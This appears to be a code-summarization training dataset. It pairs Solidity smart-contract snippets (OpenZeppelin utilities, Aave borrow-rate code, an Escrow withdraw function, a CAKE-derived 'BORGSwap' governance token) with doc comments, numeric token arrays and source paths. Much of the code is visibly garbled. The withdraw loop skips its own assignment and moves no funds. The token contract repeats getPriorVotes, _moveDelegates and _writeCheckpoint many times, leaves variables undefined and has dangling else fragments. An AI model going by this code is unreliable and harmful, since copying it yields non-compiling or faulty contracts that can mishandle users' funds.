(!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Fired in setAliContract() @param by an address which set the `aliContract` @param aliContract ALI token contract address set/
event AliContractSet(address indexed by, address aliContract);
116,657
[ 1, 42, 2921, 316, 444, 37, 549, 8924, 1435, 225, 635, 392, 1758, 1492, 444, 326, 1375, 18083, 8924, 68, 225, 15033, 8924, 16822, 1147, 6835, 1758, 444, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 2575, 432, 549, 8924, 694, 12, 2867, 8808, 635, 16, 1758, 15033, 8924, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x102a796Eb323C90Ea233Cf0cf454AfA7D0441252/sources/UiPoolDataProvider.sol
* @title IReserveInterestRateStrategyInterface interface @dev Interface for the calculation of the interest rates @author Aave/
interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 utilizationRate, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); }
3,879,401
[ 1, 45, 607, 6527, 29281, 4727, 4525, 1358, 1560, 225, 6682, 364, 326, 11096, 434, 326, 16513, 17544, 225, 432, 836, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 607, 6527, 29281, 4727, 4525, 288, 203, 225, 445, 1026, 3092, 38, 15318, 4727, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 225, 445, 7288, 3092, 38, 15318, 4727, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 225, 445, 4604, 29281, 20836, 12, 203, 565, 1758, 20501, 16, 203, 565, 2254, 5034, 1709, 1588, 4727, 16, 203, 565, 2254, 5034, 2078, 30915, 758, 23602, 16, 203, 565, 2254, 5034, 2078, 3092, 758, 23602, 16, 203, 565, 2254, 5034, 8164, 30915, 38, 15318, 4727, 16, 203, 565, 2254, 5034, 20501, 6837, 203, 225, 262, 203, 565, 3903, 203, 565, 1476, 203, 565, 1135, 261, 203, 1377, 2254, 5034, 4501, 372, 24237, 4727, 16, 203, 1377, 2254, 5034, 14114, 38, 15318, 4727, 16, 203, 1377, 2254, 5034, 2190, 38, 15318, 4727, 203, 565, 11272, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xFCE1c68E7414605fF1f97D197D6Ba05a6d232311/sources/cache/solpp-generated-contracts/Escrow.sol
* @notice Withdraws on behalf of an account, called via the ERC1155 batchOperation and bridgeTransferFrom. Note that this does not handle non-WETH withdraws. @dev skip/ If the amount is zero then we skip.
function withdrawsOnBehalf(address account, Common.Withdraw[] memory withdraws) public override { require(calledByERC1155Trade(), "20"); for (uint256 i; i < withdraws.length; i++) { address tokenAddress = currencyIdToAddress[withdraws[i].currencyId]; uint128 amount; if (withdraws[i].amount == 0) { continue; amount = withdraws[i].amount; } } }
16,064,560
[ 1, 1190, 9446, 87, 603, 12433, 6186, 434, 392, 2236, 16, 2566, 3970, 326, 4232, 39, 2499, 2539, 2581, 2988, 471, 10105, 5912, 1265, 18, 3609, 716, 333, 1552, 486, 1640, 1661, 17, 59, 1584, 44, 598, 9446, 87, 18, 225, 2488, 19, 971, 326, 3844, 353, 3634, 1508, 732, 2488, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 87, 1398, 1919, 20222, 12, 2867, 2236, 16, 5658, 18, 1190, 9446, 8526, 3778, 598, 9446, 87, 13, 1071, 3849, 288, 203, 3639, 2583, 12, 11777, 858, 654, 39, 2499, 2539, 22583, 9334, 315, 3462, 8863, 203, 203, 3639, 364, 261, 11890, 5034, 277, 31, 277, 411, 598, 9446, 87, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 1147, 1887, 273, 5462, 28803, 1887, 63, 1918, 9446, 87, 63, 77, 8009, 7095, 548, 15533, 203, 5411, 2254, 10392, 3844, 31, 203, 203, 5411, 309, 261, 1918, 9446, 87, 63, 77, 8009, 8949, 422, 374, 13, 288, 203, 7734, 1324, 31, 203, 7734, 3844, 273, 598, 9446, 87, 63, 77, 8009, 8949, 31, 203, 5411, 289, 203, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0x7cE1062e0688BC3D7699987A38bba84353F69881/sources/@aave/core-v3/contracts/protocol/pool/DefaultReserveInterestRateStrategy.sol
* @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt @param totalStableDebt The total borrowed from the reserve at a stable rate @param totalVariableDebt The total borrowed from the reserve at a variable rate @param currentVariableBorrowRate The current variable borrow rate of the reserve @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans @return The weighted averaged borrow rate/
function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt + totalVariableDebt; if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = (weightedVariableRate + weightedStableRate).rayDiv( totalDebt.wadToRay() ); return overallBorrowRate; }
11,522,253
[ 1, 10587, 326, 13914, 29759, 4993, 487, 326, 13747, 8164, 3086, 326, 2078, 2190, 18202, 88, 471, 2078, 14114, 18202, 88, 225, 2078, 30915, 758, 23602, 1021, 2078, 29759, 329, 628, 326, 20501, 622, 279, 14114, 4993, 225, 2078, 3092, 758, 23602, 1021, 2078, 29759, 329, 628, 326, 20501, 622, 279, 2190, 4993, 225, 783, 3092, 38, 15318, 4727, 1021, 783, 2190, 29759, 4993, 434, 326, 20501, 225, 783, 17115, 30915, 38, 15318, 4727, 1021, 783, 13747, 8164, 434, 777, 326, 14114, 4993, 437, 634, 327, 1021, 13747, 23713, 11349, 29759, 4993, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 588, 4851, 454, 38, 15318, 4727, 12, 203, 565, 2254, 5034, 2078, 30915, 758, 23602, 16, 203, 565, 2254, 5034, 2078, 3092, 758, 23602, 16, 203, 565, 2254, 5034, 783, 3092, 38, 15318, 4727, 16, 203, 565, 2254, 5034, 783, 17115, 30915, 38, 15318, 4727, 203, 225, 262, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2254, 5034, 2078, 758, 23602, 273, 2078, 30915, 758, 23602, 397, 2078, 3092, 758, 23602, 31, 203, 203, 565, 309, 261, 4963, 758, 23602, 422, 374, 13, 327, 374, 31, 203, 203, 565, 2254, 5034, 13747, 3092, 4727, 273, 2078, 3092, 758, 23602, 18, 91, 361, 774, 54, 528, 7675, 435, 27860, 12, 2972, 3092, 38, 15318, 4727, 1769, 203, 203, 565, 2254, 5034, 13747, 30915, 4727, 273, 2078, 30915, 758, 23602, 18, 91, 361, 774, 54, 528, 7675, 435, 27860, 12, 2972, 17115, 30915, 38, 15318, 4727, 1769, 203, 203, 565, 2254, 5034, 13914, 38, 15318, 4727, 273, 261, 30890, 3092, 4727, 397, 13747, 30915, 4727, 2934, 435, 7244, 12, 203, 1377, 2078, 758, 23602, 18, 91, 361, 774, 54, 528, 1435, 203, 565, 11272, 203, 203, 565, 327, 13914, 38, 15318, 4727, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/97/0xB4b32cA8E24bC4678cF14b87D75f76076D001980/sources/BORGSwap.sol
CakeToken with Governance.
contract BORGSwap is BEP20('BORGSwap Token', 'BORGSwap') { function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "CAKE::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce"); require(now <= expiry, "CAKE::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } } else if (cp.fromBlock < blockNumber) { } else { function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } } else { function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; return chainId; } assembly { chainId := chainid() } }
11,460,550
